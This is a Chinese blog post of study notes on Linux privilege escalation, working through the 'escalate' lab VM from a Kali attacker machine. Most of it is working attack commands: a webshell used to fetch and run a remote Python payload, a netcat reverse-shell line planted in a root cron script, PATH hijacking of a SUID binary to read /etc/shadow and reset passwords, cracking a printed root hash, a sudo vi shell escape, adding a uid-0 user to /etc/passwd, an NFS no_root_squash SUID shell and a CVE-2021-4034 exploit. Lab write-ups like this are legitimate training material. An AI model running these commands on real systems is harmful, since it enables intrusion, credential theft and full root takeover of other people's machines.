以escalate靶机为例学习linux的提权方式-linux提权学习笔记(1)

本博客配合以下视频效果更佳。啊B叔叔的,请自行按照关键词搜索。
在这里插入图片描述

escalate靶机是一个可以用于学习linux提权的靶机,下载下来后,可以使用vmware直接打开。下载地址如下:在这里插入图片描述
下载后打开,将主机的网络设置为仅主机模式。同时虚拟机的kali攻击机也设置为仅主机模式。
最后的两台主机配置如下:

kali            192.168.80.130
escalate靶机     192.168.80.129

提权前准备

因为我们的主要目的是学习提权,因此前面的步骤我们简单写一下。
先用masscan能发现存在80等等端口开放,但是没挖掘出更多的信息,因此使用dirsearch爆破一下目录,发现存在一个shell.php。(还有index.html,就是主界面)

192.168.80.129/shell.php

访问后,出现一个提示,说将cmd作为一个参数传参。
在这里插入图片描述
既然可以传参,那么我们直接测试一下看能不能命令执行,结果发现能执行命令。

192.168.80.129/shell.php?cmd=id

在这里插入图片描述
既然如此,那么我们传递一个shell上去。打开msf,然后使用multi/script/web_delivery模块来生成。

use exploit/multi/script/web_delibery
set SRVHOST 192.168.80.130
set LHOST 192.168.80.130
run

在这里插入图片描述

一旦运行,会生成一段python代码,我们将其使用url编码后,作为cmd的参数,回车,可以拿到远程的meterpreter。

python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.80.130:8080/FKxRz4C', context=ssl._create_unverified_context());exec(r.read());"

在这里插入图片描述
在这里插入图片描述
拿到靶机的meterpreter
在这里插入图片描述

提权方式1:SUID提权

SUID的提权原理可以参考这个博客
https://blog.csdn.net/weixin_39430198/article/details/123504153
接下来我们实操,在获取到meterpreter后,输入shell拿到shell,然后使用以下命令查找存在SUID权限的文件

find / -user root -perm -4000 -type f 2>/dev/null

发现存在一个user3用户的shell文件,可以利用起来
在这里插入图片描述
tips:上一步中,如果要直接显示文件的权限,可以使用以下命令

find / -user root -perm -4000 -type f 2>/dev/null -exec ls -l {} \;

进入目录,直接执行,拿到权限

cd /home/user3
./shell

在这里插入图片描述
SUID文件在执行的时候以属主的身份执行,因此拿到了root的权限,若是对一些特殊命令设置了SUID,那么就会有被利用提权的可能性,常用的SUID提权命令有nmap,vim,find,bash,more,less,nano以及cp等等。

提权方式2:环境变量劫持提权

简单来说就是SUID文件的权限高,而它去调用其他命令时,我们劫持了这个命令,并且这个命令的内容是/bin/bash,这样就相当于使用root权限运行了命令,拿到了高权限的shell。
我们看下实操。
首先是在user5的用户下面发现了SUID文件,执行这个SUID文件,发现其命令类似于ls命令,那好了,我们也创建一个ls命令,但是这个ls执行的内容是/bin/bash,从而我们拿到了高权限的shell。

cd /home/user5
ls
./script
echo $PATH
echo "/bin/bash" > tmp/ls
export PATH=/tmp:$PATH 
echo $PATH  
chmod 755 /tmp/ls
./script

在这里插入图片描述

提权方式3:破解/etc/shadow文件提权

这种方式就是爆破root用户的密码。具体操作如下。
通过前面可知,我们能够通过命令劫持来拿到最高权限,那么我们也可以劫持命令,去读取/etc/shadow文件。

echo 'cat /etc/shadow' >/tmp/ls
./script

在这里插入图片描述
接着复制root用户的账户和密码,并且保存为hash.txt

echo 'root:$6$mqjgcFoM$X/qNpZR6gXPAxdgDjFpaD1yPIqUF5l5ZDANRTKyvcHQwSqSxX5lA7n22kjEkQhSP6Uq7cPaYfzPSmgATM9cwD1' > hash.txt

使用john爆破

john hash.txt

在这里插入图片描述

提权方式4:修改sudoers文件中的用户密码提权

还是使用前面的SUID文件,读取/etc/sudoers文件

echo 'cat /etc/suoders >/tmp/ls
./script

在这里插入图片描述
发现user1有戏,那么好,继续用SUID来修改user1的密码

echo 'echo "user1:pi1grim" | chpasswd' >/tmp/ls
./script
su user1

在这里插入图片描述

提权方式5:使用定计划任务提权crontab

计划任务就是定时任务,一般运维会采用脚本去定时执行,但是如果权限配置不当的话,就会存在一些问题。
在开始介绍提权方式之前,先介绍下crontab,crontab是linux的计划任务,启动后的服务时crond,配置文件为/etc/crontab,可以通过配置文件定期执行程序或者命令。或者直接使用crontab命令也可以。
具体关于crontab命令的解析,可以参考这个链接
在这里插入图片描述
重复前期准备工作,拿到shell。通过以下命令,我们能得出user4存在一个定时任务,并且是每五分钟用root权限执行一次。

cat /etc/crontab

在这里插入图片描述
既然是在user4的目录下面,我们就需要进入user4的目录,但是我们没有user4的权限,因此我们可以通过前面提权方式4中的sudoers修改用户的密码。
首先将以下内容输入至ls文件中,并且劫持一下环境变量

 echo 'echo "user4:xiaoxiao" | chpasswd ' >/tmp/ls
 export PATH=/tmp/:$PATH

在这里插入图片描述
接着赋予权限

chmod +x /tmp/ls

在这里插入图片描述
此时我们具备了编辑定时任务的权限。一个简单而且直接的办法是使用nc直接反弹shell至本机,但是经过测试后发现不行。使用msfvenom生成的反弹shell可以。

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.80.130 lport=8888

生成内容如下:

mkfifo /tmp/vpmr; nc 192.168.80.130 8888 0</tmp/vpmr | /bin/sh >/tmp/vpmr 2>&1; rm /tmp/vpmr

在这里插入图片描述

将这个内容写入定时任务

echo 'mkfifo /tmp/vpmr; nc 192.168.80.130 8888 0</tmp/vpmr | /bin/sh >/tmp/vpmr 2>&1; rm /tmp/vpmr' > autoscript.sh

然后本地使用nc监听一下8888端口,即可拿到root的shell。

nc -lnvp 8888

在这里插入图片描述

提权方式6:利用sudo提权

上一步完成后,重新进入user6账户,然后使用以下命令查看sudoers文件信息。

echo 'cat /etc/sudoers' >/tmp/ls
chmod +x /tmp/ls
export PATH=/tmp:$PATH
/home/user5/script

在这里插入图片描述
注意看sudoers文件中的user8用户,其可以通过root身份运行vi。这给提权创造了空间。为什么呢?因为vi存在交互模式,即可以在vi中运行命令。
在提权之前,我们要先进入user8用户

echo 'echo "user8:xiao" | chpasswd' >/tnp/ls
/home/user5/script
su user8

在这里插入图片描述
查看一下授权列表

sudo -l

在这里插入图片描述
打开vi,使用sudo的原因就是用root权限来执行

sudo vi   

在这里插入图片描述
在vi中输入以下命令,启用root权限的终端

:!/bin/bash

在这里插入图片描述
在这里插入图片描述
成功拿到root权限。

注意:在拿到root权限后,想要退出当前终端可以使用exit命令退出,会重新回到vi界面中去,回到vi界面后,重新按照vi命令退出即可。

tips:上述演示是通过vi来获取root权限,其他要注意的命令包含find,less,more,git等等,在使用visudoers配置后,都会被利用来提权,比如使用

ls /etc | sudo more

然后输入

:!/bin/bash

也一样可以拿到root权限
在这里插入图片描述
如下这个例子是当find被授权后,利用find提权,在找到f1文件后,执行shell。
在这里插入图片描述

提权方法7:利用超级用户提权

还是在user6账户下,通过读取sudoers文件来查看用户权限情况

echo 'cat /etc/sudoers' >/tmp/ls
chmod +x /tmp/ls
export PATH=/tmp:$PATH
/home/user5/script

发现其中的user2有user1用户的权限,而user1又是root用户的权限,好了,这下也可以提权
在这里插入图片描述
同样的,我们需要继续劫持变量来修改user1和user2的密码

echo 'echo "user1:xiao" | chpasswd' >/tmp/ls 
/home/user5/script
echo 'echo "user2:xiao" | chpasswd' >/tmp/ls
/home/user5/script 
su user2

在这里插入图片描述
然后使用以下命令提权成功

sudo -u user1 sudo su

这条命令的含义是user2以user1的权限执行sudo su。
在这里插入图片描述

提权方法9:利用/etc/passwd具有写入权限进行提权

思路:写入一个超级用户(uid为0的用户)进行提权
首先查看passwd文件的权限,发现属组对passwd文件有读写权限,这是不正确的配置。

/bin/ls -l /etc/passwd

在这里插入图片描述
读取passwd文件发现user7属于root组。

cat /etc/passwd

在这里插入图片描述
我们可以编辑passwd文件,而passwd文件可以添加用户,那么我们就可以生成信息,然后添加到passwd文件中即可。
首选要拿到user7的权限,与前面几个方法相同,劫持变量来添加密码

echo 'echo "user7:xiao" | chpasswd' >/tmp/ls 
/home/user5/script
su user7

passwd文件的含义如下:

user7:x:1006:0:user7,,,:/home/user7:/bin/bash
用户名:用户密码(x表示存储在shadow文件中):用户ID:组ID:用户描述:家目录:用户shell

理论上,我们可以编辑以下一行添加test超级用户

test:123456:0:0:root/root:/bin/bash

但是其实不可以,因为不可以存储明文的密码,需要使用openssl来生成。

openssl passwd -1 -salt test 123456

在这里插入图片描述
组装成passwd文件的样子

test:$1$test$at615QShYKduQlx5z9Zm7/:0:0:root/root:/bin/bash

追加至passwd文件

echo 'test:$1$test$at615QShYKduQlx5z9Zm7/:0:0:root/root:/bin/bash' >>/etc/passwd

登录test用户,获取root权限

在这里插入图片描述

提权方法9:利用mysql提权(视频中没有提权成功,只提供了间接的思路)

通过查看本地开放的端口,发现存在一个mysql的服务

netstat -tnlp

在这里插入图片描述
测试mysql的密码,发现存在弱口令root

mysql -uroot -p
root

在这里插入图片描述
通过在user数据库中的user_info表中,找到了一个用户名mysql和密码mysql@12345。
在这里插入图片描述
同时发现靶机里面也存在一个mysql用户

id mysql

在这里插入图片描述
尝试使用上述账号密码登录,发现能成功登录

su mysql

在这里插入图片描述
在/var/mysql找到了mysql用户的敏感文件

cd /var/mysql
ls -alh

在这里插入图片描述
赋予权限后,发现了各个用户的密码

chmod 664 .user_informations
cat .user_informations

在这里插入图片描述
同时在/etc/mysql/secret.cnf发现了root的密码(其实不能登录)

cat /etc/mysql/secret.cnf

在这里插入图片描述

提权方式10:利用NFS提权

原理的简单解释:由于nfs一般是共享时使用的,因此存在登录的权限问题,在/etc/exports配置文件中,一般会出现两个配置选项,分别是no_root_squash和root_squash,Root Squashing(root_sqaush)参数阻止对连接到NFS卷的远程root用户具有root访问权限。远程根用户在连接时会分配一个用户“ nfsnobody ”,它具有最少的本地特权。如果 no_root_squash 选项开启的话”,并为远程用户授予root用户对所连接系统的访问权限。相信大家读到这个地方看出我们能利用的地方。
靶机中的/etc/exports配置信息

cat /etc/exports

在这里插入图片描述
靶机中配置的最后一行出现了任意用户都有读写权限,而且是no_root_squash(注意,一定是这个选项才能提权)。
在攻击机查询靶机的nfs挂载信息

showmount -e 192.168.80.129

在这里插入图片描述
新建一个文件夹,并将靶机的文件夹挂载过来

mkdir nfs
mount -t nfs 192.168.80.129:/home/user5 /tmp/ls

在这里插入图片描述
访问挂载的文件夹,发现文件同步过来了
在这里插入图片描述
将攻击机的shell复制到这个文件夹中,那么就会在靶机上也有一个shell了

cp /usr/bin/sh .
chmod u+sx sh

在这里插入图片描述
在靶机上能看到存在的sh
在这里插入图片描述
使用-p选项执行sh,成功拿到root权限

/home/user5/sh -p

在这里插入图片描述

提权方式11:利用cve-2021-4034提权

具体的原理可以百度,涉及到二进制相关的,我也不太懂。后面讲如何利用。
可以通过以下链接获取到利用的脚本。
在这里插入图片描述
下载下来后上传到kali,然后启用一个http服务器,上传至靶机,然后解压
在这里插入图片描述
进入文件夹,make编译,然后执行./cve-2021-4034.sh

cd cve-2021-4034-mian
make
./cve-2021-4034.sh

等了很久,成功
在这里插入图片描述

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值